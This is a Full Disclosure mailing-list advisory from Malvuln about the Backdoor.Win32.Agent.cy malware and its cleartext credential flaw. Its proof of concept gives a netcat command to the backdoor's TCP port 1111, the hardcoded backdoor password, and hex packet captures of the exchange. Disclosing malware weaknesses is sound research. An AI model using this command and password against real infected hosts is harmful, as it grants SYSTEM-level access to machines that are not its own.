full-disclosure - [FD] Backdoor.Win32.Agent.cy / Insecure Transit

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Message-ID: <CAAHK0WTHWkOfAfvP1GPmz4Q1wXAeLKaZhFvCeh6R7QbfLZk=mg@mail.gmail.com>
Date: Fri, 14 May 2021 14:06:42 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Agent.cy / Insecure Transit

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/e85a1028a52fcc723353a236ada54fee_B.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cy
Vulnerability: Insecure Transit
Description: The malware listens on TCP port 1111, drops an executable
named "Spoolsw.exe" under SysWOW64 that runs with SYSTEM integrity. The
malware passes logon credentials in cleartext allowing anyone who can sniff
network traffic to read any communications sent or retrieved. This can
disclose the malwares password to well positioned attackers.
Type: PE32
MD5: e85a1028a52fcc723353a236ada54fee
Vuln ID: MVID-2021-0208
Dropped files: Spoolsw.exe
Disclosure: 05/14/2021

Exploit/PoC:
Use Wireshark to sniff traffic.

nc64.exe MALWARE_INFECTED_HOST 1111
TrFsB-RuleZ

0000   00 XX XX XX XX XX 00 XX XX XX XX XX 08 00 45 00  ..).yq..)R....E.
0010   00 34 7d e7 40 00 80 06 00 00 c0 a8 58 82 c0 a8  .4}.@.......X...
0020   58 7f d6 89 04 57 25 a8 1e c1 fe 1d 20 c6 50 18  X....W%..... .P.
0030   20 14 32 79 00 00 54 72 46 73 42 2d 52 75 6c 65   .2y..TrFsB-Rule
0040   5a 0a                                            Z.

0000   00 XX XX XX XX XX 00 XX XX XX XX XX 08 00 45 00  ..)R....).yq..E.
0010   00 65 23 e0 40 00 80 06 00 00 c0 a8 58 7f c0 a8  .e#.@.......X...
0020   58 82 04 57 d6 82 29 67 fb a8 9f 73 8c 20 50 18  X..W..)g...s. P.
0030   08 05 32 aa 00 00 0a 4f 4b 2c 20 50 41 53 53 57  ..2....OK, PASSW
0040   4f 52 54 20 61 6b 74 7a 65 70 74 69 65 72 74 20  ORT aktzeptiert
0050   2c 20 54 72 69 74 74 20 65 69 6e 20 2c 20 62 72  , Tritt ein , br
0060   69 6e 67 20 47 6c fc 63 6b 20 68 65 72 65 69 6e  ing Gl.ck herein
0070   21 21 0a                                         !!.

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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